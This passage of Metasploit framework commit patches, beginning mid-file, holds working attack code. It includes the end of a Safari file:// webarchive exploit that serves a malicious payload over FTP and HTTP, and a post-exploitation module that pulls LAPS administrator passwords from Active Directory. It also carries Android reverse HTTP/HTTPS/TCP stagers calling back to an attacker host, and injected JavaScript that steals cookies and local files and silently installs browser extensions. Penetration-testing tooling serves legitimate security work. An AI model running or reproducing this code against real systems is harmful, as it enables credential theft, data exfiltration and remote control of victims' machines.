'Dec'] + m = month_names[Time.now.month-1] + d = Time.now.day + y = Time.now.year + + dir = "-rwxr-xr-x 1 ftp ftp #{webarchive_size} #{m} #{d} #{y} #{payload_name}\r\n" + print_status dir + conn.put(dir) + conn.close + + print_status("Directory sent ok") + c.put("226 Transfer ok\r\n") + + return + end + + # + # Handle the FTP RETR request. This is where we transfer our actual malicious payload + # + def on_client_command_retr(c, arg) + conn = establish_data_connection(c) + if not conn + return c.put("425 can't build data connection\r\n") + end + + print_status("Connection for file transfer accepted") + c.put("150 Connection accepted\r\n") + + # Send out payload + conn.put(webarchive) + conn.close + end + + def volume_name + @volume_name ||= Rex::Text.rand_text_alpha(12) + end + + def payload_name + 'msf.webarchive' + end + + def popup_path + @popup_uri ||= Rex::Text.rand_text_alpha(12) + end + + def webarchive + webarchive_xml + end + + def webarchive_size + print_status "Webarchive_SiZE=#{webarchive_xml.length}" + webarchive_xml.length + end + + def run + # Start the FTP server + print_status("Running FTP service...") + start_service + + # Create our own HTTP server + # We will stay in this functino until we manually terminate execution + start_http + end + + # + # Handle the HTTP request and return a response. Code borrorwed from: + # msf/core/exploit/http/server.rb + # + def start_http(opts={}) + # Ensture all dependencies are present before initializing HTTP + use_zlib + + comm = datastore['ListenerComm'] + if (comm.to_s == "local") + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], + 'Comm' => comm + }.update(opts) + + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + opts['Comm'], + datastore['SSLCert'] + ) + + @http_service.server_name = datastore['HTTP::server_name'] + + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + + proto = (datastore["SSL"] ? "https" : "http") + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + end + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + + # As long as we have the http_service object, we will keep the ftp server alive + while @http_service + select(nil, nil, nil, 1) + end + end + + # + # Ensures that gzip can be used. If not, an exception is generated. The + # exception is only raised if the DisableGzip advanced option has not been + # set. + # + def use_zlib + if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") + end + end + + # + # Returns the configured (or random, if not configured) URI path + # + def resource_uri + path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) + path = '/' + path if path !~ /^\// + datastore['URIPATH'] = path + return path + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message='OK', html='') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'text/html' + res.body = html + + cli.send_response(res) + end + + # @param [Hash] data the data to store in the log + # @return [String] filename where we are storing the data + def record_data(data, cli) + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + store_loot( + file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" + ) + end + + # + # Kill HTTP/FTP (shut them down and clear resources) + # + def cleanup + super + + # Kill FTP + stop_service + + # clear my resource, deregister ref, stop/close the HTTP socket + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service.close + @http_service = nil + rescue + end + end + +end From 76c2198ef0d30dbea3edf2f588c79f1a6c43a8f7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 23 Jun 2015 22:56:53 +0100 Subject: [PATCH 0528/1013] LAPS enum --- modules/post/windows/gather/enum_ad_users.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index e0cba065b2..c6edd85df4 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -190,7 +190,8 @@ class Metasploit3 < Msf::Post # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, - status: status + status: status, + access_level: 'Administrator', } login_data[:last_attempted_at] = DateTime.now unless (status == Metasploit::Model::Login::Status::UNTRIED) From 221980820ae45c30b243b2514588e8f58c9405d5 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 23 Jun 2015 23:01:59 +0100 Subject: [PATCH 0529/1013] Committed wrong file This reverts commit 76c2198ef0d30dbea3edf2f588c79f1a6c43a8f7. --- modules/post/windows/gather/enum_ad_users.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index c6edd85df4..e0cba065b2 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -190,8 +190,7 @@ class Metasploit3 < Msf::Post # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, - status: status, - access_level: 'Administrator', + status: status } login_data[:last_attempted_at] = DateTime.now unless (status == Metasploit::Model::Login::Status::UNTRIED) From 4392b7c1decdca4183dd8e16be97566a209a723c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 23 Jun 2015 23:02:22 +0100 Subject: [PATCH 0530/1013] Enum LAPS --- .../windows/gather/credentials/enum_laps.rb | 192 ++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 modules/post/windows/gather/credentials/enum_laps.rb diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb new file mode 100644 index 0000000000..be1c9f15b0 --- /dev/null +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -0,0 +1,192 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + + FIELDS = ['distinguishedName', + 'dNSHostName', + 'ms-MCS-AdmPwd', + 'ms-MCS-AdmPwdExpirationTime'].freeze + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Credentials Local Administrator Password Solution', + 'Description' => %Q{ + This module will recover the LAPS (Local Administrator Password Solution) passwords, + configured in active directory. Note, only privileged users should be able to access + these fields. Note: The local administrator account name is not stored in active directory, + by default credentials will be stored in the database against 'Administrator'. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell', + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + ['URL', 'http://test'], + ] + )) + + register_options([ + OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']), + OptBool.new('STORE_DB', [true, 'Store file in loot.', false]), + OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), + OptString.new('FILTER', [true, 'Search filter.', '(objectCategory=Computer)']) + ], self.class) + + deregister_options('FIELDS') + end + + def run + search_filter = datastore['FILTER'] + max_search = datastore['MAX_SEARCH'] + + begin + q = query(search_filter, max_search, FIELDS) + rescue RuntimeError => e + # Raised when the default naming context isn't specified as distinguished name + print_error(e.message) + return + end + + if q.nil? || q[:results].empty? + print_status('No results returned.') + else + results_table = parse_results(q[:results]) + print_line results_table.to_s + + if datastore['STORE_LOOT'] + stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + end + end + + # Takes the results of LDAP query, parses them into a table + # and records and usernames as {Metasploit::Credential::Core}s in + # the database. + # + # @param [Array>] the LDAP query results to parse + # @return [Rex::Ui::Text::Table] the table containing all the result data + def parse_results(results) + laps_results = [] + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'Local Administrator Password Solution (LAPS) Results', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => FIELDS + ) + + results.each do |result| + row = [] + + result.each do |field| + if field.nil? + row << "" + else + if field[:type] == :number + value = convert_windows_nt_time_format(field[:value]) + else + value = field[:value] + end + row << value + end + end + + hostname = result[FIELDS.index('dNSHostName')][:value].downcase + password = result[FIELDS.index('ms-MCS-AdmPwd')][:value] + dn = result[FIELDS.index('distinguishedName')][:value] + expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value]) + + unless password.to_s.empty? + results_table << row + laps_results << { hostname: hostname, + password: password, + dn: dn, + expiration: expiration + } + end + end + + if datastore['STORE_DB'] + print_status('Resolving IP addresses...') + hosts = [] + laps_results.each do |h| + hosts << h[:hostname] + end + + resolve_results = client.net.resolve.resolve_hosts(hosts) + + # Match each IP to a host... + resolve_results.each do |r| + l = laps_results.find{ |laps| laps[:hostname] == r[:hostname] } + l[:ip] = r[:ip] + end + + laps_results.each do |r| + next if r[:ip].to_s.empty? + next if r[:password].to_s.empty? + store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip]) + end + end + + results_table + end + + + def store_creds(username, password, ip) + service_data = { + address: ip, + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: username, + private_data: password, + private_type: :password + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end + + # https://gist.github.com/nowhereman/189111 + def convert_windows_nt_time_format(windows_time) + unix_time = windows_time.to_i/10000000-11644473600 + ruby_time = Time.at(unix_time) + ruby_time.strftime("%d/%m/%Y %H:%M:%S GMT %z") + end + +end From 9c4a96761ef58a3ad14cf5e79c155cdbe6e42b11 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 23 Jun 2015 23:10:29 +0100 Subject: [PATCH 0531/1013] Small tidyup --- modules/post/windows/gather/credentials/enum_laps.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index be1c9f15b0..ccbe8dc996 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post This module will recover the LAPS (Local Administrator Password Solution) passwords, configured in active directory. Note, only privileged users should be able to access these fields. Note: The local administrator account name is not stored in active directory, - by default credentials will be stored in the database against 'Administrator'. + so we assume that this will be 'Administrator' by default. }, 'License' => MSF_LICENSE, 'Author' => @@ -33,10 +33,6 @@ class Metasploit3 < Msf::Post ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], - 'References' => - [ - ['URL', 'http://test'], - ] )) register_options([ @@ -56,7 +52,6 @@ class Metasploit3 < Msf::Post begin q = query(search_filter, max_search, FIELDS) rescue RuntimeError => e - # Raised when the default naming context isn't specified as distinguished name print_error(e.message) return end @@ -64,6 +59,7 @@ class Metasploit3 < Msf::Post if q.nil? || q[:results].empty? print_status('No results returned.') else + print_status('Parsing results...') results_table = parse_results(q[:results]) print_line results_table.to_s @@ -76,7 +72,7 @@ class Metasploit3 < Msf::Post # Takes the results of LDAP query, parses them into a table # and records and usernames as {Metasploit::Credential::Core}s in - # the database. + # the database if datastore option STORE_DB is true. # # @param [Array>] the LDAP query results to parse # @return [Rex::Ui::Text::Table] the table containing all the result data From 1af12fd11f3898f6af4ba3f785e22abf4bd81cc0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 19:09:14 -0500 Subject: [PATCH 0532/1013] Glassfish version 9 --- .../framework/login_scanner/glassfish.rb | 34 +++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index 064a583d9e..b6cbf9a2ed 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -137,6 +137,33 @@ module Metasploit end + # Tries to login to Glassfish version 9 + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_glassfish_9(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/applications/upload.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + + res = send_request(opts) + if res && res.code.to_i == 302 && res.headers['Location'].to_s !~ /loginError\.jsf$/ + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + # Tries to login to Glassfish version 3 or 4 (as of now it's the latest) # # @param (see #try_glassfish_2) @@ -176,12 +203,15 @@ module Metasploit begin case self.version - when /^[29]\.x$/ + when /^2\.x$/ status = try_glassfish_2(credential) result_opts.merge!(status) when /^[34]\./ status = try_glassfish_3(credential) result_opts.merge!(status) + when /^9\.x$/ + status = try_glassfish_9(credential) + result_opts.merge!(status) end rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) @@ -191,7 +221,7 @@ module Metasploit end # - # Extract the target's glassfish version from the HTTP Server header + # Extract the target's glassfish version from the HTTP Server Sun Java System Application Server 9.1header # (ex: Sun Java System Application Server 9.x) # # @param banner [String] `Server` header from a Glassfish service response From d59c418df63d7021e25fe4e9bef0b6103ad21d6b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 19:10:14 -0500 Subject: [PATCH 0533/1013] Fix #5591 Fix #5591 --- lib/metasploit/framework/login_scanner/glassfish.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index b6cbf9a2ed..8537f8b04b 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -220,7 +220,7 @@ module Metasploit Result.new(result_opts) end - # + # Extract the target's glassfish version from the HTTP Server Sun Java System Application Server 9.1header # (ex: Sun Java System Application Server 9.x) # From e796e56c6ce6e7afabc654c05be1f6512031c9a5 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 23 Jun 2015 17:47:13 +1000 Subject: [PATCH 0534/1013] Modify the staging process --- lib/msf/core/payload/dalvik.rb | 9 +++++-- .../payloads/stagers/android/reverse_http.rb | 27 +++++++++---------- .../payloads/stagers/android/reverse_https.rb | 25 +++++++++-------- .../payloads/stagers/android/reverse_tcp.rb | 22 +++++++-------- 4 files changed, 43 insertions(+), 40 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index b70c6a9602..088345be71 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -32,8 +32,13 @@ module Msf::Payload::Dalvik end def apply_options(classes) - string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s) - string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s) + timeouts = [ + datastore['SessionExpirationTimeout'].to_s, + datastore['SessionCommunicationTimeout'].to_s, + datastore['SessionRetryTotal'].to_s, + datastore['SessionRetryWait'].to_s + ].join('-') + string_sub(classes, 'TTTT ', 'TTTT' + timeouts) end def string_sub(data, placeholder="", input="") diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index bc84647149..87b2fbf319 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -17,15 +17,15 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP', - 'Author' => 'anwarelmakrahy', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseHttp, - 'Stager' => {'Payload' => ""} - )) + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => ['anwarelmakrahy', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ''} + )) end def generate_jar(opts={}) @@ -36,13 +36,12 @@ module Metasploit3 uri_req_len = 5 end - lurl = "ZZZZhttp://#{datastore["LHOST"]}" - lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] - lurl << "/" - lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" + # TODO: perhaps wire in an existing UUID from opts? + url << generate_uri_uuid_mode(:init_java, uri_req_len) classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) apply_options(classes) jar = Rex::Zip::Jar.new diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index b26e75de92..fa93d598f4 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -17,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTPS', - 'Author' => 'anwarelmakrahy', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseHttps, - 'Stager' => {'Payload' => ""} + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => ['anwarelmakrahy', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ''} )) end @@ -36,13 +36,12 @@ module Metasploit3 uri_req_len = 5 end - lurl = "ZZZZhttps://#{datastore["LHOST"]}" - lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] - lurl << "/" - lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" + # TODO: perhaps wire in an existing UUID from opts? + url << generate_uri_uuid_mode(:init_java, uri_req_len) classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 6aacb42a45..087d6c800a 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 CachedSize = :dynamic @@ -17,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse TCP Stager', - 'Description' => 'Connect back stager', - 'Author' => 'timwr', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Dalvik Reverse TCP Stager', + 'Description' => 'Connect back stager', + 'Author' => ['timwr', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ''} )) end @@ -37,8 +37,8 @@ module Metasploit3 classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) apply_options(classes) jar.add_file("classes.dex", fix_dex_header(classes)) From 8b6fba4988f9c0c095795c077cf76ffe2984824c Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 24 Jun 2015 02:08:06 -0500 Subject: [PATCH 0535/1013] Tweak and fix some things in Safari file URL module. --- lib/msf/core/format/webarchive.rb | 45 +++++++++++-------- .../gather/safari_file_url_navigation.rb | 37 +++++++-------- 2 files changed, 43 insertions(+), 39 deletions(-) diff --git a/lib/msf/core/format/webarchive.rb b/lib/msf/core/format/webarchive.rb index df369f7438..0f2ae6aded 100644 --- a/lib/msf/core/format/webarchive.rb +++ b/lib/msf/core/format/webarchive.rb @@ -1,23 +1,26 @@ -#safari.installExtension("com.pinterest.extension-HWZFLG9PNK","http://assets.pinterest.com/ext/Pinterest-Safari.safariextz") - +# +# The WebArchive mixin provides methods for generating a Safari .webarchive file +# that performs a variety of malicious tasks: stealing files, cookies, and silently +# installing extensions from extensions.apple.com. +# module Msf module Format module Webarchive def initialize(info={}) super - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), - OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), - OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install"]), - OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install"]) - ], - self.class) + register_options([ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), + OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), + OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), + OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), + OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), + OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]), + OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]), + OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"]) + ], self.class) end ### ASSEMBLE THE WEBARCHIVE XML ### @@ -90,8 +93,7 @@ module Webarchive def iframes_container_html hidden_style = "position:fixed; left:-600px; top:-600px;" wrap_with_doc do - frames = "" - communication_js + frames + injected_js_helpers + steal_files + install_extension + message + communication_js + injected_js_helpers + steal_files + install_extension + message end end @@ -115,18 +117,23 @@ module Webarchive end def install_extension + return '' unless datastore['INSTALL_EXTENSION'] + raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present? + raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present? wrap_with_script do %Q| var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); - setTimeout(function(){ + window.onclick = function(){ + x = window.open('#{apple_extension_url}', 'x'); + function go(){ window.focus(); window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x') } setInterval(go, 400); - }, 600); + }; | end @@ -326,7 +333,7 @@ function reportStolenCookies() { # @return [String] the path to send data back to def collect_data_uri - '/' + datastore["URIPATH"].chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] + '/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] end # @return [String] formatted http/https URL of the listener diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb index 85a95e214f..516eb32987 100644 --- a/modules/auxiliary/gather/safari_file_url_navigation.rb +++ b/modules/auxiliary/gather/safari_file_url_navigation.rb @@ -16,11 +16,11 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape', 'Description' => %q{ - Due to an issue in the way Safari handles error page origins, - an attacker who can entice a user into visiting a malicious page - can gain a reference to the resulting error page in the file:// scheme. - From there, the attacker can access cross-domain globals, such as 'location' - and 'history,' which leads to a total compromise of the sandbox. + Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a + "state management issue" that allows a browser window to be navigated + to a file:// URL. By dropping and loading a malicious .webarchive file, + an attacker can read arbitrary files, inject cross-domain Javascript, and + silently install Safari extensions. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ ['ZDI', '15-288'], - ['CVE', '2015-1155'] + ['CVE', '2015-1155'], + ['URL', 'https://support.apple.com/en-us/HT204826'] ], 'Platform' => 'osx', 'Targets' => @@ -40,12 +41,11 @@ class Metasploit3 < Msf::Auxiliary )) - register_options( - [ - OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), - OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]), - OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]) - ], self.class ) + register_options([ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]), + OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]) + ], self.class) end def lookup_lhost(c=nil) @@ -59,19 +59,16 @@ class Metasploit3 < Msf::Auxiliary def on_request_uri(cli, req) if req.method =~ /post/i + data_str = req.body.to_s begin - data_str = if req.body.size > 0 - req.body - else - req.qstring['data'] - end data = JSON::parse(data_str || '') file = record_data(data, cli) - send_response(cli, 200, 'OK', '') + send_response_html(cli, '') print_good "data #{data.keys.join(',')} received and stored to #{file}" rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received." - send_not_found(cli) + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end elsif req.uri =~ /#{popup_path}$/ send_response(cli, 200, 'OK', popup_html) From c305348a3bc1d6158dffbf86b4144e2acd09624c Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 24 Jun 2015 02:19:09 -0500 Subject: [PATCH 0536/1013] Fix the mixin to work in the exploit again. --- lib/msf/core/format/webarchive.rb | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/format/webarchive.rb b/lib/msf/core/format/webarchive.rb index 0f2ae6aded..0db288073d 100644 --- a/lib/msf/core/format/webarchive.rb +++ b/lib/msf/core/format/webarchive.rb @@ -125,15 +125,19 @@ module Webarchive var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); - window.onclick = function(){ - x = window.open('#{apple_extension_url}', 'x'); - - function go(){ - window.focus(); - window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x') - } + function go(){ + window.focus(); + window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x') + } + if (!window.x){ + alert(1); + window.onclick = function(){ + x = window.open('#{apple_extension_url}', 'x'); + setInterval(go, 400); + }; + } else { setInterval(go, 400); - }; + } | end From 0493ba83a0342fd9818a746ca7c183e619c6c7bd Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 19:56:44 +1000 Subject: [PATCH 0537/1013] Add transport configuration support --- .../payloads/stages/android/meterpreter.rb | 24 +++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index fe2e95a156..20f7f52825 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -7,9 +7,10 @@ require 